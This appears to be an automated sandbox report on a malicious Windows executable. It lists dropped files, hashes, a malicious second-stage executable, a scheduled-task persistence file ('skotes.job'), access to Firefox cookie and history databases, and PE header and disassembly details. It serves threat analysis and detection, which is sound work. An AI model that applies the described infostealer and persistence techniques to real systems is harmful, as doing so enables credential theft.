C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir8136_224931456\cfe2aff5-ae27-4232-a2c7-994fc2269fa9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsCBAKJEHDBG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3224064
Entropy (8bit):	6.690711435537409
Encrypted:	false
SSDEEP:	49152:Df/jWK22YINni9ulzn7lBD98ItHq5UvTrzwx1CPV/BMMhWemKKq:/WKhyulzn/D98ItK5Uv/z21WIwKq
MD5:	D2BB2A25108B9A225C896FD5C0E469C0
SHA1:	390C5A3C07ADFAA98C4654830E5FFF7217ADC7FF
SHA-256:	77F5978FCC4DC1DDA5BAE6CFBA8ECC829E79C5332A9143194E1687E384F7F6BF
SHA-512:	6489C0553932F3391B3C0AF5D0E9894A0938C77BFD7B8C2E01F0C5E13D8AD79789A93D81E5564CF7C5508D1CE21743B2F2AF3F0285C9D9AE9632870D1896B86C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@1...........@..........................p1......1...@.................................W...k...........................d'1..............................'1..................................................... . ............................@....rsrc...............................@....idata ............................@...edckxlhy........x.................@...fhweoctw.....01.......1.............@....taggant.0...@1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsCBAKJEHDBG.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.43177335646927
Encrypted:	false
SSDEEP:	6:XCphyq5j5lVXUhXUEZ+lX1CGdKUe6tE9+AQy0lBpllst0:+tlr4Q1CGAFD9+nVBLCt0
MD5:	FD9043013BEB860099AE8567D2EBB365
SHA1:	CAD41D36EEA5ED18B3C9E3337099C2CFFE6D64BC
SHA-256:	D60F50D3E85E1EC03DD7044D95EF7CE7C39633E6F3018D76AA7C1F1C0BA10E28
SHA-512:	7AAD36800A91CB5B4EB5730BF7724B2B5BF602F2777A403F4C9AB478080047504F61DC20F677597BB8CB0C2EFDBDFD923CE19022E9605EDACB5C41892367D7B5
Malicious:	false
Preview:	....I..a...N....*.=1F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................$.@3P.........................

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (765)
Category:	downloaded
Size (bytes):	770
Entropy (8bit):	5.1327530241988555
Encrypted:	false
SSDEEP:	24:I9wGZ2QmJtMy/3BHslgT9lCuABuyluF7HHHHHHHYqmffffffo:I9w8/mJtMy/3KlgZ01BuouFEqmfffffA
MD5:	2E300619A82852A0302F3080AEF81B16
SHA1:	0BF1800893A065681F9011FDC6C42957D2B5A9E5
SHA-256:	3119044F2BFE2FD8652BC03C632600DD681FC4660EF9E6FE0F43730F663D295B
SHA-512:	58F80F3812841D9FCB2CCC0242DFB9C9F933CB526FAFB7E980C09A29F8B799E48609F999F5A06EED1300205C9004135DEABB571A6C4AEF7626FFE762FF1AF8CA
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["roblox anime reborn codes","cryptocurrency dogecoin","buffalo bills keon coleman injury","mattel wicked dolls","social security benefits","spacex starlink satellite","super micro computer stock","mike tyson kith"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1254,1253,1252,1251,1250,601,600,550],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435210893269805
Encrypted:	false
SSDEEP:	3072:fzkPdsBJT7bKwkztS6STFSz1nrmBSnXYK02i6o:fcdUW5c5Sz1nKBSnoK08o
MD5:	F32B6BD65C64B5015E504BBC9FCB7239
SHA1:	D1876EEBA6A4B001C73E4B8066143D57AB170297
SHA-256:	FF0DF8CF3E3D9BBAE9E2DE09544F9D5068C89A89737149969F4F55708B77ECDF
SHA-512:	5A0C8DA60C84B9100E876B5DD318C4F8EC47FAA792436009F92FDB3C87BE5204567ADECB1BD05D4F79CE217B6C7A1E52A7BBE54FF645DC3ECBD8DC7D69BA65EB
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9435253759402675
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'782'784 bytes
MD5:	5a2241ae692a1a1563afd21574dcf238
SHA1:	d0916dbe85860c53b54338b35912e11698d5408e
SHA256:	f881547a0def14f2d0721c040a32d2bf1f22a0aaf7a5c0b4e3d83bb41b2037ec
SHA512:	01475bd6423fdcc997469ca349dbc18add69b60d6e577dc156bf4c37469497bc693ee2652c2b10cd8073bdedb4e5d66c36d5aafb6294755ca1ba3076cbe94208
SSDEEP:	49152:DIygDAG3XLHLuZrK5eFWx3Vav6B/TQXy:DIGG3Xvu5FIe69TQXy
TLSH:	4285335A1FE21328CA7D01B4DAFEB60921652B9D72CC9D78168E7C1D06DB735812E3EC
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa88000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA4407D6C9Ah
movlps xmm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
